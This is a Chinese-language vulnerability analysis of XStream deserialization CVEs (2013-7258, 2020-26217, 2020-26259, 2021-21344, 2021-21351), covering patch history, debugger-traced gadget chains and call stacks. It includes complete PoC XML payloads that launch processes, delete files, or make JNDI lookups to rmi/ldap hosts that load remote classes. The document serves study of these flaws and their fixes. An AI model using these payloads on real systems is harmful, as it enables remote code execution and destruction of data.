基础
简介
XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。
原理
依赖
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.1</version>
</dependency>
XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
EventHandler类
EventHandler类是实现了InvocationHandler的一个类,建立从用户界面到应用程序逻辑的连接
EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用
Converter转换器
具体的Converter转换器: http://x-stream.github.io/converters.html
XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。
转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现3个方法:
- canConvert方法:告诉XStream对象,它能够转换的对象;
- marshal方法:能够将对象转换为XML时候的具体操作;
- unmarshal方法:能够将XML转换为对象时的具体操作;
基本使用
Person.java
package pers.xstream;
import java.io.IOException;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private Integer age;
private Company company;
public Person(String name, Integer age, Company company) {
this.name = name;
this.age = age;
this.company = company;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public Company getCompany() {
return company;
}
public void setCompany(Company company) {
this.company = company;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("person readObject....");
}
}
Company.java
package pers.xstream;
import java.io.IOException;
import java.io.Serializable;
public class Company implements Serializable {
private String companyName;
private String companyLocation;
public Company() {
}
public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getCompanyLocation() {
return companyLocation;
}
public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("company readObject.....");
}
}
Test.java
package pers.xstream;
import com.thoughtworks.xstream.XStream;
public class Test {
public static void main(String[] args) {
XStream xStream = new XStream();
Person person = new Person("RoboTerh", 19, new Company("xxx", "chengdu"));
String xml = xStream.toXML(person);
System.out.println(xml);
}
}
上面就是将Person类对象转化为xml对象输出的具体代码,同时,在其中Person
Company
类的实现过程中实现了Serializable
接口
Result:
<pers.xstream.Person serialization="custom">
<pers.xstream.Person>
<default>
<age>19</age>
<company serialization="custom">
<pers.xstream.Company>
<default>
<companyLocation>chengdu</companyLocation>
<companyName>xxx</companyName>
</default>
</pers.xstream.Company>
</company>
<name>RoboTerh</name>
</default>
</pers.xstream.Person>
</pers.xstream.Person>
If the interface is not implemented, we will get this:
<pers.xstream.Person>
<name>RoboTerh</name>
<age>19</age>
<company>
<companyName>xxx</companyName>
<companyLocation>chengdu</companyLocation>
</company>
</pers.xstream.Person>
why?
we can read the source code to get our answer! First, we will make a breaking point in com.thoughtworks.xstream.XStream#toXML
and follow it.
And then call the marshal function
之后在marshallingStrategy.marshal
中,跟踪marshallingStrategy
方法他是一个XStream
类的私有属性,是MarshallingStrategy
对象,这个是一个接口,定义了marshal unmarshal
方法,ctrl + H查看实现类,有AbstractTreeMarshallingStrategy
在他的marshal
方法中,调用了TreeMarshaller#start
方法,在这个方法中调用了convertAnother
方法,其中可以发现实现了Serializable
接口的序列化使用的是SerializableConverter
转换器
通过反射调用了对应类的readObject方法,所以在实现serializable接口的时候会调用对应的readObject方法
对于TreeMarshaller
TreeUnmarshaller
的说明
TreeUnmarshaller 树解组程序,调用mapper和Converter把XML转化成java对象,里面的start方法开始解组,convertAnother方法把class转化成java对象。
TreeMarshaller 树编组程序,调用mapper和Converter把java对象转化成XML,里面的start方法开始编组,convertAnother方法把java对象转化成XML
如果没有实现接口的类序列化就会使用ReflectionConverter
, 即该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值
漏洞分析
sorted-set
CVE-2013-7258
影响版本
1.4.5 1.4.6 1.4.10
版本说明
1.3.1
在这个版本运行payload, 发现
Exception in thread "main" com.thoughtworks.xstream.mapper.CannotResolveClassException: sorted-set : sorted-set
说明不能解析sorted-set
标签
1.4 - 1.4.4
因为在TreeSetConverter.unmarshal中,因为需要满足treemap
不为空才能调用populateTreeMap
,但是sortedMapField
默认为null,因此无法成功利用
1.4.7 - 1.4.9
在ReflectionConverter#canConvert
中添加了对eventHandler
的过滤
public boolean canConvert(Class type) {
return ((this.type != null && this.type == type) || (this.type == null && type != null && type != eventHandlerType))
&& canAccess(type);
}
1.4.11及之后
因为在SecurityMapper#readClass
获取类之后,通过for循环进行了过滤
for (int i = 0; i < permissions.size(); ++i) {
final TypePermission permission = (TypePermission)permissions.get(i);
if (permission.allows(type))
return type;
}
直接对java.beans.EventHandler
进行了限制
poc
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>\C</string>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
分析
在AbstractTreeMarshallingStrategy.unmarshal()函数中,调用了TreeUnmarshaller.start()函数,即开始解析XML
在com.thoughtworks.xstream.core.TreeUnmarshaller#start
打下断点
会调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型
跟进readClassType
方法
在mapper.readClass
调用中获取了sortedSet
跟进
通过一系列适合mapper的寻找,找到了ClassAliasingMapper
这个,调用它的readClass
方法
成功获取到java.util.SortedSet
之后就是调用TreeUnmarshaller#convertAnother
方法,跟进
首先就是调用mapper.defaultImplementationOf
寻找对应type的默认实现类
之后经过一系列mapper的寻找,成功找到了DefaultImplementationsMapper,获取到了实现类java.util.TreeSet
之后通过converterLookup.lookupConverterForType
的调用获取对应类的转换器
跟进,在其中的逻辑中是通过迭代converters
(这个是一个PrioritizedList类型),直到找到了可以转换java.util.TreeSet
的转化器
找到了TreeSetConverter
之后在TreeUnmarshaller#convertAnother
中将type类型和获取的converter返回给AbstractReferenceUnmarshaller#convert
方法,跟进,在其中调用了getCurrentReferenceKey
方法获取当前的Reference
键,即对应的标签名,之后将其压入栈中
之后调用父类的convert
方法即是TreeUnmarshaller#convert
方法,首先将type类型压入FastStack
栈中,之后调用转换器的unmarshal
方法
跟进,之后调用了treeMapConverter.populateTreeMap
方法,跟进,首先判断是否是第一个元素,如果是就会调用putCurrentEntryIntoMap
方法将当前内容填充到map中去
跟进,这里调用readItem
方法读取标签内的内容,然后将内容放入target这个map中
跟进,通过HierarchicalStreams.readClassType
来寻找标签的类
跟进,之后就会开始寻找dynamic-proxy
标签的类,通过和之前类似的方法,在DynamicProxyMapper#readClass
方法中寻找到了DynamicProxy
类
之后在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
方法中找到这个动态代理类的转换器DynamicProxyConverter
之后调用了AbstractReferenceUnmarshaller#convert
方法,首先将根标签放入values
属性中之后同样调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中
之后调用父类的convert
方法,同样将type压入了FastStack栈中之后,调用了converter.unmarshal
方法,即来到了DynamicProxyConverter#unmarshal
方法中,首先循环它的子标签,如果是interface
标签,就会调用mapper.realClass(reader.getValue())
找到对应的类,并添加进入interfaces
变量中,如果下一个是handler
标签,就会通过mapper.realClass(reader.getAttribute(attributeName))
获取handler
的类型是java.beans.EventHandler
,之后跳出循环
之后有一个判断,如果没有handtype值,就会抛出异常,之后,将会根据标签里面的内容生成对应接口的动态代理
接下来调用了context.convertAnother
方法,接下来转换器转换最终得到EventHandler,之后通过Fields.write(HANDLER, proxy, handler);
将之前生成的动态代理替换,之后返回代理对象
接下来在com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
中,这里会把结果放入result中去
之后会调用TreeMap
的putAll方法,进而调用了父类的putAll
方法
调用了put方法,key value都是之前的代理,之后调用了TreeMap
的compare方法,进而调用了compareTo方法,这里的k1是代理类,所以会触发对应的invoke方法
之后调用了run方法,进而调用了invokeInternal
方法,成功调用了ProcessBuilder.start
方法执行命令
CVE-2021-21351
影响版本
<= 1.4.15
poc
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__useServicesMechanism>false</__useServicesMechanism>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
分析
这个链子主要是通过javax.naming.ldap.Rdn$RdnEntry#compareTo
中对两个value进行的比较,调用了value
即com.sun.org.apache.xpath.internal.objects.XRTreeFrag
的equals
方法,进而调用了toString
方法,到最后到达了fastjson JdbcRowSetImpl链的调用setAutoCommit
方法
tree-map
影响版本
1.4-1.4.6 1.4.10
版本说明
1.3.x
出现错误:
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: TreeMap does not contain <comparator> element
PoC中两个子标签元素调用compareTo()
进行比较,因此无法利用
1.4.7-1.4.9
ReflectionConverter.canConvert()
函数中添加了对EventHandler
类的过滤
1.4.11及以后
存在对java.beans.EventHandler
的过滤
poc
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/C</string>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
分析
和使用sorted-set
标签差不多
在上面的分析中,找到了对应的接口java.util.SortedSet
,之后寻找到的实现类是java.util.TreeSet
转换器为TreeSetConvertor
这里的实现类是本身,转换器为TreeMapConvertor
jdk.nashorn.internal.objects.NativeString
在 1.4.15及以后被禁掉
CVE-2020-26217
影响版本
<=1.4.13
版本说明
1.3.x
Caused by: com.thoughtworks.xstream.converters.reflection.ObjectAccessException: Cannot construct jdk.nashorn.internal.objects.NativeString as it does not have a no-args constructor
1.4.14及以后
在com.thoughtworks.xstream.XStream
中添加了对java.lang.ProcessBuilder
的过滤
protected void setupSecurity() {
if (securityMapper == null) {
return;
}
addPermission(AnyTypePermission.ANY);
denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter"});
denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO});
allowTypeHierarchy(Exception.class);
securityInitialized = false;
}
poc
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
分析
实例:
package pers.xstream;
import com.thoughtworks.xstream.XStream;
import java.util.HashMap;
import java.util.Map;
class person{
String name;
int age;
public person(String name,int age){
this.name = name;
this.age = age;
}
}
public class MapTest {
public static void main(String[] args) throws Exception{
Map map = new HashMap();
map.put(new person("RoboTerh", 19), "test");
XStream xStream = new XStream();
String xml = xStream.toXML(map);
System.out.println(xml);
}
}
结果:
<map>
<entry>
<pers.xstream.person>
<name>RoboTerh</name>
<age>19</age>
</pers.xstream.person>
<string>test</string>
</entry>
</map>
在Xstream将Map生成xml格式数据时,会为s每个Entry对象生成一个<entry>…</entry>
元素,并将该Entry中的key与value作为其子元素顺次放置于其中第一个和第二个元素处
这里我们生程xml数据的时候,是用的一个map类型,然后map的key,value分别是一个实例化和一个字符串
最后得到了的数据可以看出来,Xstream生成xml时,其结构应遵循如下结构
<对象>
<属性1>...</属性1>
<属性2>...</属性2>
...
</对象>
从poc进行剖析
就是一个map类型,entry的key是jdk.nashorn.internal.objects.NativeString
,value是test
然后这个类里面的value属性是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
这个类
在ClassAliasingMapper#realClass
方法中根据map
标签找到了java.util.Map
类,在TreeUnmarshaller#convertAnother
中找到他的实现类java.util.HashMap
, 之后找到了对应的转换器MapConverter
之后一直到MapConverter#putCurrentEntryIntoMap
中向target这个HashMap中写入了key和value, 其分别是poc中map标签下的第一个元素和第二个元素,key
为jdk.nashorn.internal.objects.NativeString
, 之后调用target.put方法,之后就会调用对应得hashCode方法
跟进this.getStringValue
方法
这里判断了对应的value值是否为String类型得值,但是在POC中我们已经将其设置为了一个类对象
所以,这里会调用this.value.toString
方法,即是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
方法,跟进,之后会调用this.get
方法,跟进
之后通过this.dataHandler.getDataSource().getInputStream()
获取输入流,这里的dataHandler
属性中的dataSource
早已经在POC中设置为了com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
, 所以这里调用的是其的getInputStream
方法,跟进
得到对应的输入流为POC中设置的java.io.SequenceInputStream
,之后调用baos.readFrom
, 跟进
调用了is.read
方法。跟进,继续调用了nextStream
方法,跟进,这里的e
属性为POC中设置的javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
类,值得一提的是,在这前面存在一个if判断语句,POC中也设置了in
属性为java.io.ByteArrayInputStream
, 使得其为空,得以绕过这个判断语句
之后调用了javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#hasMoreElements
方法,跟进,调用了iterator
属性的hasNext
方法,同样在POC中设置为了javax.imageio.spi.FilterIterator
,返回了true,进而调用了nextElement
方法,因为在POC中设置其type
属性为KEYS
,进而调用iterator.next().getKey()
跟进,之后在next方法中调用了advance
方法,跟进,iter
属性仍然是设置的java.util.ArrayList$Itr
,调用其hashNext方法,之后调用了iter.next()
方法
根据POC中的out-class
标签返回了一个ProcessBuilder
对象,之后会调用filter.filter
方法,这里filter属性也在POC中设置了javax.imageio.ImageIO$ContainsFilter
, 这里methed为ProcessBuilder.start()
方法,name为start
, 直接通过反射触发invoke
执行命令
调用栈
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1268, XStream (com.thoughtworks.xstream)
fromXML:1259, XStream (com.thoughtworks.xstream)
main:60, XStreamRCE (pers.xstream)
CVE-2020-26259
这是一个根据
jdk.nashorn.internal.objects.NativeString
的文件删除漏洞
影响版本
<= 1.4.14
版本说明
1.3.x
和上面差不多
1.4.15及之后
禁用了jdk.nashorn.internal.objects.NativeString
poc
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/test.txt</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
分析
和之前差距不大,只是其中的com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
类中is属性的设置不同,这里设置为了com.sun.xml.internal.ws.util.ReadAllStream$FileStream
我们在com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource#getInputStream
处打下断点
可以得到is
属性的值为com.sun.xml.internal.ws.util.ReadAllStream$FileStream
类,跟进readFrom
方法中,调用了is.read
方法,继续跟进,之后又调用了is.close
方法,在POC中只对tempFile
属性进行了赋值操作,所以,其中的fin
属性为空,绕过if语句,在第二个if
语句中,存在tempFile
属性值为E:/src.txt
,之后调用了delete
方法进行删除
调用栈
close:146, ReadAllStream$FileStream (com.sun.xml.internal.ws.util)
get:183, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1268, XStream (com.thoughtworks.xstream)
fromXML:1259, XStream (com.thoughtworks.xstream)
main:28, WriteFile (pers.xstream)
java.util.PriorityQueue
CVE-2021-21344
影响版本
<= 1.4.15
版本说明
1.3.x
Cannot construct sun.awt.datatransfer.DataTransferer$IndexOrderComparator as it does not have a no-args constructor
1.4.16及之后
将sun.awt.datatransfer.DataTransferer$IndexOrderComparator
这个comparator
被禁了
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://127.0.0.1:9999/Evil</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
分析
前奏
这次的POC主要是通过在反序列化中调用类的readObject
方法,在基本使用中有所提及
在java.util.PriorityQueue
类的readObject
方法中打下断点,我们可以发现他仍然在TreeUnmarshaller#start
中获取到了标签对应的类java.util.PriorityQueue
, 并且使用的转换器是SerializableConverter
, 之后在SerialiableConverter#doUnmarshal
中调用了
serializationMembers.callReadObject
, 进行调用readObject方法
最后来到了其类的readObject
方法,和分析CC2链类似,跟进heapify
方法
接下来继续跟进调用的siftDown
, 因为我们在POC中设置了comparator
是sun.awt.datatransfer.DataTransferer$IndexOrderComparator
, 所以进入if语句调用siftDownUsingComparator
跟进,之后调用的comparator.compare
方法,跟进IndexOrderComparator
中
跟进,这里的indexMap
是在POC中设置的com.sun.xml.internal.ws.client.ResponseContext
之后调用了compareIndices
, 在ResponseContext
中取值中调用了get方法,跟进,之后调用了this.packet.getMessage().getAttachments()
这里的packet.message
也是POC中设置的com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart
, 所以我们直接跟进getAttachments
方法
之后调用了这里的getMessage
方法,紧接着调用了我们POC中设置的dataSource为com.sun.xml.internal.ws.message.JAXBAttachment
,调用了他的getInputStream
方法,跟进,再次调用asInputStream
方法,调用writeTo
方法,跟进
这里的bridge
也是POC中的类com.sun.xml.internal.ws.db.glassfish.BridgeWrapper
jaxbObject
同样是com.sun.rowset.JdbcRowSetImpl
这个类有点熟悉,就是在Fastjson链中存在有JdbcRowSetImpl
这条利用链,我们来看看是否是同一条利用链,调用其marshal
方法,跟进,之后再次调用marshal
方法,只不过换成了POC中的bridge.bridge
的类com.sun.xml.internal.bind.v2.runtime.BridgeImpl
, 跟进,再次调用marshal
方法,
之后将会调用MarshallerImpl#write
方法,跟进,之后会调用到jdbcRowSetImpl#getDatabaseMetaData
方法中,调用其connect
方法,之后在这里存在lookup方法的可控
在POC中也有对dataSource
的赋值
调用栈
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
